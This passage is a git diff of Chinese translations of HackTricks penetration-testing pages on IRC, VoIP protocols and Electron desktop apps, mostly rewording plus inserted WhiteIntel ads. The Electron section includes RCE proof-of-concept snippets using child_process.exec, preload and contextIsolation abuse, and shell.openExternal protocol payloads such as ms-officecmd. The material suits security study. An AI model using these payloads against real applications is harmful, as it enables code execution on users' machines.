+ +从零开始学习 AWS 黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)! + +支持 HackTricks 的其他方式: + +* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) +* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 + +
diff --git a/network-services-pentesting/pentesting-irc.md b/network-services-pentesting/pentesting-irc.md index 16a2c4ac7..ff782e2a2 100644 --- a/network-services-pentesting/pentesting-irc.md +++ b/network-services-pentesting/pentesting-irc.md @@ -6,19 +6,33 @@ 支持 HackTricks 的其他方式: -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们**。** +* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
+## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel 的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 基本信息 -IRC 最初是一种**纯文本协议**,由 IANA 分配了 **194/TCP**,但通常在 **6667/TCP** 和类似端口上运行,以避免需要 **root 权限**进行操作。 +IRC 最初是一个**纯文本协议**,由 IANA 分配了**194/TCP**,但通常在**6667/TCP**和类似端口上运行,以避免需要**root 权限**进行操作。 -只需一个**昵称**即可连接到服务器。连接后,服务器会对用户的 IP 执行反向 DNS 查找。 +只需一个**昵称**就可以连接到服务器。连接后,服务器会对用户的 IP 执行反向 DNS 查找。 用户分为**操作员**,他们需要**用户名**和**密码**以获得更多访问权限,以及普通**用户**。操作员具有不同级别的特权,管理员位于顶部。 @@ -36,7 +50,7 @@ IRC 可以支持 **TLS**。 nc -vn openssl s_client -connect : -quiet ``` -### 手册 +### 手动 在这里,您可以看到如何使用一些**随机昵称**连接并访问IRC,然后枚举一些有趣的信息。您可以在[这里](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP)了解更多IRC命令。 ```bash @@ -82,3 +96,29 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66 ### Shodan * `查找您的主机名` + +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +
+ +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) + +支持HackTricks的其他方式: + +* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) +* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。 +* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 + +
diff --git a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index e5d35273b..9ee38f70d 100644 --- a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -2,23 +2,37 @@
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) 支持HackTricks的其他方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) +* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) +* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品 * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 信令协议 ### SIP(会话初始协议) -这是行业标准,更多信息请查看: +这是行业标准,了解更多信息请查看: {% content-ref url="sip-session-initiation-protocol.md" %} [sip-session-initiation-protocol.md](sip-session-initiation-protocol.md) @@ -26,40 +40,40 @@ ### MGCP(媒体网关控制协议) -MGCP(媒体网关控制协议)是一种在RFC 3435中概述的**信令**和**呼叫** **控制协议**。它在一个集中式架构中运行,由三个主要组件组成: +MGCP(媒体网关控制协议)是在RFC 3435中概述的**信令**和**呼叫** **控制协议**。它采用集中式架构,由三个主要组件组成: -1. **呼叫代理或媒体网关控制器(MGC)**:MGCP架构中的主网关负责**管理和控制媒体网关**。它处理呼叫建立、修改和终止过程。MGC使用MGCP协议与媒体网关通信。 -2. **媒体网关(MGs)或从属网关**:这些设备在不同网络之间**转换数字媒体流**,例如传统的电路交换电话和分组交换IP网络。它们由MGC管理,并执行从MGC接收的命令。媒体网关可能包括转码、封装和回声消除等功能。 +1. **呼叫代理或媒体网关控制器(MGC)**:MGCP架构中的主网关负责**管理和控制媒体网关**。它处理呼叫设置、修改和终止过程。MGC使用MGCP协议与媒体网关通信。 +2. **媒体网关(MGs)或从属网关**:这些设备在不同网络之间**转换数字媒体流**,例如传统的电路交换电话网络和分组交换IP网络。它们由MGC管理,并执行从MGC接收到的命令。媒体网关可能包括转码、封装和回声消除等功能。 3. **信令网关(SGs)**:这些网关负责在不同网络之间**转换信令消息**,实现传统电话系统(例如SS7)和基于IP的网络(例如SIP或H.323)之间的无缝通信。信令网关对于互操作性至关重要,确保呼叫控制信息在不同网络之间得到正确传递。 -总之,MGCP将呼叫控制逻辑集中在呼叫代理中,简化了媒体和信令网关的管理,提供了更好的可扩展性、可靠性和效率,从而提高了电信网络的性能。 +总之,MGCP在呼叫代理中集中了呼叫控制逻辑,简化了媒体和信令网关的管理,提供了更好的可扩展性、可靠性和效率,提高了电信网络的效率。 -### SCCP(Skinny客户端控制协议) +### SCCP(Skinny Client Control Protocol) -Skinny客户端控制协议(SCCP)是思科系统拥有的**专有信令和呼叫控制协议**。它主要用于**思科统一通信管理器**(以前称为CallManager)与思科IP电话或其他思科语音和视频终端之间的通信。 +Skinny Client Control Protocol(SCCP)是思科系统拥有的**专有信令和呼叫控制协议**。它主要用于**思科统一通信管理器**(以前称为CallManager)与思科IP电话或其他思科语音和视频终端之间的通信。 SCCP是一种轻量级协议,简化了呼叫控制服务器与端点设备之间的通信。它被称为“Skinny”,因为它的设计简约,与其他VoIP协议(如H.323或SIP)相比,带宽要求较低。 -基于SCCP的系统的主要组件包括: +基于SCCP系统的主要组件包括: -1. **呼叫控制服务器**:通常是思科统一通信管理器,负责管理呼叫建立、修改和终止过程,以及其他电话功能,如呼叫转移、呼叫转接和呼叫保持。 +1. **呼叫控制服务器**:这个服务器通常是思科统一通信管理器,负责管理呼叫设置、修改和终止过程,以及其他电话功能,如呼叫转移、呼叫转接和呼叫保持。 2. **SCCP端点**:这些设备,如IP电话、视频会议设备或其他使用SCCP与呼叫控制服务器通信的思科语音和视频终端。它们向服务器注册,发送和接收信令消息,并遵循呼叫控制服务器提供的指令进行呼叫处理。 -3. **网关**:这些设备,如语音网关或媒体网关,负责在不同网络之间转换媒体流,如传统的电路交换电话和分组交换IP网络。它们还可能包括其他功能,如转码或回声消除。 +3. **网关**:这些设备,如语音网关或媒体网关,负责在不同网络之间转换媒体流,如传统的电路交换电话网络和分组交换IP网络。它们还可能包括其他功能,如转码或回声消除。 -SCCP提供了思科呼叫控制服务器和端点设备之间的简单高效的通信方法。然而,值得注意的是**SCCP是一种专有协议**,这可能会限制与非思科系统的互操作性。在这种情况下,其他标准的VoIP协议如SIP可能更适合。 +SCCP提供了思科呼叫控制服务器和端点设备之间简单高效的通信方法。然而,值得注意的是**SCCP是一种专有协议**,这可能会限制与非思科系统的互操作性。在这种情况下,其他标准VoIP协议如SIP可能更适合。 ### H.323 -H.323是用于在基于IP的网络(如IP网络)上进行多媒体通信的一套协议,包括语音、视频和数据会议。它由**国际电信联盟(ITU-T)**开发,为管理多媒体通信会话提供了全面的框架。 +H.323是用于在基于分组交换网络(如基于IP的网络)上进行多媒体通信的一套协议,包括语音、视频和数据会议。它由**国际电信联盟**(ITU-T)开发,为管理多媒体通信会话提供了全面的框架。 H.323套件的一些关键组件包括: -1. **终端**:这些是终端设备,如IP电话、视频会议系统或软件应用程序,支持H.323并可以参与多媒体通信会话。 -2. **网关**:这些设备在不同网络之间转换媒体流,如传统的电路交换电话和分组交换IP网络,实现H.323与其他通信系统的互操作性。它们还可能包括其他功能,如转码或回声消除。 +1. **终端**:这些是支持H.323的端点设备,如IP电话、视频会议系统或软件应用程序,可以参与多媒体通信会话。 +2. **网关**:这些设备在不同网络之间转换媒体流,如传统的电路交换电话网络和分组交换IP网络,实现H.323与其他通信系统的互操作性。它们还可能包括其他功能,如转码或回声消除。 3. **网关控制器**:这些是H.323网络中提供呼叫控制和管理服务的可选组件。它们执行地址转换、带宽管理和接入控制等功能,有助于管理和优化网络资源。 -4. **多点控制单元(MCUs)**:这些设备通过管理和混合来自多个终端的媒体流来促进多点会议。MCUs支持诸如视频布局控制、语音激活切换和持续存在等功能,使得能够举办具有多个参与者的大规模会议成为可能。 +4. **多点控制单元(MCUs)**:这些设备通过管理和混合来自多个端点的媒体流,促进多点会议。MCUs支持视频布局控制、语音激活切换和持续存在等功能,使得能够举办具有多个参与者的大规模会议成为可能。 -H.323支持一系列音频和视频编解码器,以及其他辅助服务,如呼叫转移、呼叫转接、呼叫保持和呼叫等待。尽管在VoIP的早期阶段被广泛采用,但H.323逐渐被更现代、更灵活的协议如**会话初始协议(SIP)**所取代,后者提供更好的互操作性和更容易的实施。然而,H.323仍在许多传统系统中使用,并继续得到各种设备供应商的支持。 +H.323支持一系列音频和视频编解码器,以及其他补充服务,如呼叫转移、呼叫转接、呼叫保持和呼叫等待。尽管在VoIP的早期阶段被广泛采用,但H.323逐渐被更现代、更灵活的协议如**会话初始协议(SIP)**所取代,后者提供更好的互操作性和更容易的实施。然而,H.323仍在许多传统系统中使用,并继续得到各种设备供应商的支持。 ### IAX(Inter Asterisk eXchange) @@ -67,31 +81,30 @@ IAX(Inter-Asterisk eXchange)是一种主要用于Asterisk PBX(私有分支 IAX以其**简单性、高效性和易实现性**而闻名。IAX的一些关键特点包括: -1. **单一UDP端口**:IAX使用单一UDP端口(4569)进行信令和媒体流量,简化了防火墙和NAT穿越,使其更容易在各种网络环境中部署。 +1. **单个UDP端口**:IAX使用单个UDP端口(4569)进行信令和媒体流量,简化了防火墙和NAT穿越,使其更容易在各种网络环境中部署。 2. **二进制协议**:与SIP等基于文本的协议不同,IAX是一种二进制协议,减少了其带宽消耗,并使其更有效地传输信令和媒体数据。 -3. **干线**:IAX支持干线,允许多个呼叫组合成单个网络连接,减少开销,提高带宽利用率。 +3. **干线**:IAX支持干线,允许多个呼叫合并为单个网络连接,减少开销,提高带宽利用率。 4. **本地加密**:IAX内置支持加密,使用RSA进行密钥交换和AES进行媒体加密,提供端点之间的安全通信。 5. **点对点通信**:IAX可用于端点之间的直接通信,无需中央服务器,实现更简单、更高效的呼叫路由。 -尽管IAX具有诸多优点,如其主要关注Asterisk生态系统和与更成熟的协议如SIP相比采用较少,可能不是与非Asterisk系统或设备互操作性的最佳选择。然而,对于在Asterisk环境中工作的人来说,IAX为VoIP通信提供了强大而高效的解决方案。 - +尽管IAX具有诸多优点,如其主要关注Asterisk生态系统和与更成熟的协议如SIP相比较少的广泛采用,也存在一些局限性。因此,对于与非Asterisk系统或设备的互操作性,IAX可能不是最佳选择。然而,对于在Asterisk环境中工作的人员,IAX为VoIP通信提供了强大高效的解决方案。 ## 传输和传输协议 ### SDP(会话描述协议) -SDP(会话描述协议)是一种用于描述IP网络上多媒体会话特征的**基于文本的格式**。它由**互联网工程任务组(IETF)**开发,并在**RFC 4566**中定义。SDP不处理实际的媒体传输或会话建立,而是与其他信令协议(如**会话初始协议(SIP)**)一起使用,以协商和交换有关媒体流及其属性的信息。 +SDP(会话描述协议)是一种用于描述多媒体会话特征(如语音、视频或数据会议)的**基于文本的格式**,通过IP网络传输。它由**互联网工程任务组(IETF)**开发,并在**RFC 4566**中定义。SDP不处理实际的媒体传输或会话建立,而是与其他信令协议(如**SIP(会话初始协议)**)一起使用,用于协商和交换有关媒体流及其属性的信息。 SDP的一些关键元素包括: -1. **会话信息**:SDP描述多媒体会话的详细信息,包括会话名称、会话描述、开始时间和结束时间。 -2. **媒体流**:SDP定义媒体流的特征,如媒体类型(音频、视频或文本)、传输协议(例如RTP或SRTP)和媒体格式(例如编解码器信息)。 +1. **会话信息**:SDP描述了多媒体会话的细节,包括会话名称、会话描述、开始时间和结束时间。 +2. **媒体流**:SDP定义了媒体流的特征,如媒体类型(音频、视频或文本)、传输协议(如RTP或SRTP)和媒体格式(如编解码器信息)。 3. **连接信息**:SDP提供有关应发送或接收媒体的网络地址(IP地址)和端口号的信息。 4. **属性**:SDP支持使用属性提供有关会话或媒体流的附加、可选信息。属性可用于指定各种功能,如加密密钥、带宽要求或媒体控制机制。 -SDP通常用于以下过程: +SDP通常在以下过程中使用: 1. 发起方创建所提议的多媒体会话的SDP描述,包括媒体流及其属性的详细信息。 -2. SDP描述发送给接收方,通常嵌入在信令协议消息中,如SIP或RTSP。 +2. SDP描述发送给接收方,通常嵌入在信令协议消息(如SIP或RTSP)中。 3. 接收方处理SDP描述,并根据其能力,可能接受、拒绝或修改所提议的会话。 4. 最终的SDP描述作为信令协议消息的一部分发送回发起方,完成协商过程。 @@ -99,17 +112,9 @@ SDP的简单性和灵活性使其成为在各种通信系统中描述多媒体 ### RTP / RTCP / SRTP / ZRTP -1. **RTP(实时传输协议)**:RTP是一种设计用于在IP网络上传递音频和视频数据或其他实时媒体的网络协议。由**IETF**开发,并在**RFC 3550**中定义,RTP通常与信令协议如SIP和H.323一起使用,以实现多媒体通信。RTP提供了媒体流的**同步**、**排序**和**时间戳**机制,有助于确保媒体流的平滑和及时播放。 -2. **RTCP(实时传输控制协议)**:RTCP是RTP的伴随协议,用于监视服务质量(QoS)并提供有关媒体流传输的反馈。与RTP在同一**RFC 3550**中定义,RTCP **定期在RTP会话的参与者之间交换控制数据包**。它共享诸如丢包、抖动和往返时间等信息,有助于诊断和适应网络条件,提高整体媒体质量。 -3. **SRTP(安全实时传输协议)**:SRTP是RTP的扩展,为媒体流提供**加密**、**消息认证**和**重放保护**,确保敏感音频和视频数据的安全传输。在**RFC 3711**中定义,SRTP使用AES等加密算法进行加密,使用HMAC-SHA1进行消息认证。SRTP通常与安全信令协议如SIP over TLS一起使用,以在多媒体通信中提供端到端安全。 -4. **ZRTP(Zimmermann实时传输协议)**:ZRTP是一种加密密钥协商协议,为RTP媒体流提供**端到端加密**。由PGP的创始人Phil Zimmermann开发,描述在**RFC 6189**中。与SRTP依赖信令协议进行密钥交换不同,ZRTP设计为独立于信令协议工作。它使用**Diffie-Hellman密钥交换**在通信双方之间建立共享密钥,无需先前信任或公钥基础设施(PKI)。ZRTP还包括**短认证字符串(SAS)**等功能,以防止中间人攻击。 +1. **RTP(实时传输协议)**:RTP是一种设计用于在IP网络上传输音频、视频数据或其他实时媒体的网络协议。由**IETF**开发,并在**RFC 3550**中定义,RTP通常与信令协议(如SIP和H.323)一起使用,以实现多媒体通信。RTP提供了媒体流的**同步**、**排序**和**时间戳**机制,有助于确保流畅和及时的媒体播放。 +2. **RTCP(实时传输控制协议)**:RTCP是RTP的伴随协议,用于监控服务质量(QoS)并提供有关媒体流传输的反馈。与RTP在同一**RFC 3550**中定义,RTCP**定期在RTP会话的参与者之间交换控制数据包**。它共享诸如丢包、抖动和往返时间等信息,有助于诊断和适应网络条件,提高整体媒体质量。 +3. **SRTP(安全实时传输协议)**:SRTP是RTP的扩展,为媒体流提供**加密**、**消息认证**和**重放保护**,确保敏感音频和视频数据的安全传输。在**RFC 3711**中定义,SRTP使用AES等加密算法进行加密,使用HMAC-SHA1进行消息认证。SRTP通常与安全信令协议(如通过TLS的SIP)结合使用,以在多媒体通信中提供端到端安全。 +4. **ZRTP(Zimmermann实时传输协议)**:ZRTP是一种加密密钥协商协议,为RTP媒体流提供**端到端加密**。由PGP的创始人Phil Zimmermann开发,ZRTP在**RFC 6189**中描述。与依赖信令协议进行密钥交换的SRTP不同,ZRTP设计为独立于信令协议工作。它使用**Diffie-Hellman密钥交换**在通信双方之间建立共享密钥,无需先前信任或公钥基础设施(PKI)。ZRTP还包括功能,如**短认证字符串(SAS)**,以防止中间人攻击。 -这些协议在**在IP网络上提供和保护实时多媒体通信**中发挥着重要作用。RTP和RTCP处理实际的媒体传输和质量监控,而SRTP和ZRTP确保传输的媒体受到窃听、篡改和重放攻击的保护。 - -
- -从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) - -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com +这些协议在**在IP网络上传递和保护实时多媒体通信**中发挥着重要作用。RTP和RTCP处理实际的媒体传输和质量监控,而SRTP和ZRTP确保传输的媒体受到窃听、篡改和重放攻击的保护。 diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 2b889e6ea..1cf963ce5 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -2,19 +2,33 @@
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) 支持HackTricks的其他方式: - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! - 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) +- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 - **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
-## 介绍 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + +## 简介 Electron结合了本地后端(使用**NodeJS**)和前端(**Chromium**),尽管它缺少一些现代浏览器的安全机制。 @@ -23,7 +37,7 @@ Electron结合了本地后端(使用**NodeJS**)和前端(**Chromium**) npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -在 Electron 应用的源代码中,在 `packet.json` 文件中,你可以找到指定了 `main.js` 文件的安全配置。 +在 Electron 应用的源代码中,在 `packet.json` 文件中,你可以找到指定了安全配置的 `main.js` 文件。 ```json { "name": "standard-notes", @@ -34,7 +48,7 @@ Electron有2种进程类型: * 主进程(完全访问NodeJS) * 渲染进程(出于安全原因,应限制NodeJS访问权限) -![](<../../../.gitbook/assets/image (307) (5) (1).png>) +![](<../../../.gitbook/assets/image (179).png>) 一个**渲染进程**将是加载文件的浏览器窗口: ```javascript @@ -44,7 +58,7 @@ let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` -**渲染进程**的设置可以在main.js文件中的**主进程**中进行**配置**。如果**设置正确配置**,一些配置将**防止Electron应用程序被RCE**或其他漏洞攻击。 +**渲染进程**的设置可以在main.js文件中的**主进程**中进行**配置**。如果**设置正确配置**,一些配置将**防止Electron应用程序受到RCE**或其他漏洞的影响。 尽管可以配置Electron应用程序以防止其访问设备,但它可以通过Node API访问: @@ -55,7 +69,7 @@ win.loadURL(`file://path/to/index.html`); - Workers中的Node集成 - **`nodeIntegrationInSubframes`** - 默认为`off`。 - 如果启用了**`nodeIntegration`**,则允许在Electron应用程序中的**iframe**中加载的网页中使用**Node.js API**。 -- 如果**`nodeIntegration`**被**禁用**,则preload将在iframe中加载 +- 如果**`nodeIntegration`**被**禁用**,则预加载将在iframe中加载。 配置示例: ```javascript @@ -83,7 +97,7 @@ spellcheck: true } }; ``` -一些**RCE负载**来自[这里](https://7as.es/electron/nodeIntegration\_rce.txt): +以下是来自[这里](https://7as.es/electron/nodeIntegration\_rce.txt)的一些**RCE payloads**: ```html Example Payloads (Windows): @@ -103,7 +117,7 @@ Example Payloads (Linux & MacOS): ``` ## Electron 本地代码注入 -如果您可以在本地执行 Electron 应用程序,则可能会使其执行任意 JavaScript 代码。查看方法: +如果你可以在本地执行 Electron 应用程序,那么可能可以使其执行任意的 JavaScript 代码。查看方法: {% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} [macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) @@ -119,11 +133,11 @@ require('child_process').exec('calc'); top.require('child_process').exec('open /System/Applications/Calculator.app'); ``` -
+
## RCE: preload -在这个设置中指定的脚本是在渲染器中的其他脚本之前**加载的**,因此它具有**对Node API的无限访问权限**: +在此设置中指定的脚本是在渲染器中的其他脚本之前加载的,因此它具有对Node API的无限访问权限: ```javascript new BrowserWindow{ webPreferences: { @@ -160,11 +174,11 @@ runCalc(); ## RCE: XSS + contextIsolation -_**contextIsolation**_引入了**网页脚本和JavaScript Electron内部代码之间的分离上下文**,使得每个代码的JavaScript执行不会相互影响。这是一个必要的功能,以消除RCE的可能性。 +_**contextIsolation**_引入了**网页脚本和JavaScript Electron内部代码之间的分离上下文**,使得每个代码的JavaScript执行不会相互影响。这是一个必要的功能,用于消除RCE的可能性。 如果上下文没有被隔离,攻击者可以: -1. 在渲染器中执行**任意JavaScript**(XSS或导航到外部站点) +1. 在渲染器中执行**任意JavaScript**(XSS或导航到外部网站) 2. **覆盖**在preload或Electron内部代码中使用的内置方法为自己的函数 3. **触发**覆盖的函数的使用 4. RCE? @@ -185,30 +199,30 @@ _**contextIsolation**_引入了**网页脚本和JavaScript Electron内部代码 ### 绕过点击事件 -如果在单击链接时应用了限制,您可能可以通过**中键单击**而不是常规左键单击来绕过这些限制 +如果在单击链接时应用了限制,您可能可以通过**中键单击**而不是常规左键单击来绕过它们 ```javascript window.addEventListener('click', (e) => { ``` -## 通过 shell.openExternal 实现 RCE +## 通过 shell.openExternal 实现远程代码执行(RCE) -有关这些示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +有关这些示例的更多信息,请查看[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)和[https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已经确定,通过设置这些设置,可以有效防止针对预加载脚本或 Electron 主进程的**客户端远程代码执行(RCE)**。 +在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已经确定,通过这些设置可以有效防止针对预加载脚本或 Electron 主进程的**客户端远程代码执行(RCE)**。 -当用户与链接交互或打开新窗口时,会触发特定的事件侦听器,这对应用程序的安全性和功能至关重要: +用户与链接交互或打开新窗口时,会触发特定的事件侦听器,这对应用程序的安全性和功能至关重要: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -这些监听器被桌面应用程序**覆盖**,以实现自己的**业务逻辑**。该应用程序评估导航链接应在内部打开还是在外部Web浏览器中打开。这个决定通常通过一个名为`openInternally`的函数来做出。如果这个函数返回`false`,则表示链接应在外部打开,利用`shell.openExternal`函数。 +这些监听器被桌面应用程序**覆盖**,以实现自己的**业务逻辑**。 应用程序会评估导航链接应在内部打开还是在外部Web浏览器中打开。 这个决定通常通过一个名为`openInternally`的函数来做出。 如果这个函数返回`false`,则表示链接应在外部打开,利用`shell.openExternal`函数。 **以下是简化的伪代码:** -![https://miro.medium.com/max/1400/1\*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (638) (2) (1) (1).png>) +![https://miro.medium.com/max/1400/1\*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (258).png>) -![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (620).png>) +![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (960).png>) -Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。操作系统支持可能触发RCE的不同协议。有关此主题的详细示例和进一步解释,可以参考[此资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。 +Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容,因为这可能通过各种协议导致RCE。 操作系统支持可能触发RCE的不同协议。 有关此主题的详细示例和进一步解释,可以参考[此资源](https://positive.security/blog/url-open-rce#windows-10-19042),其中包括能够利用此漏洞的Windows协议示例。 **Windows协议利用示例包括:** ```html @@ -228,7 +242,7 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu **禁用 `contextIsolation` 可以启用 `` 标签**,类似于 `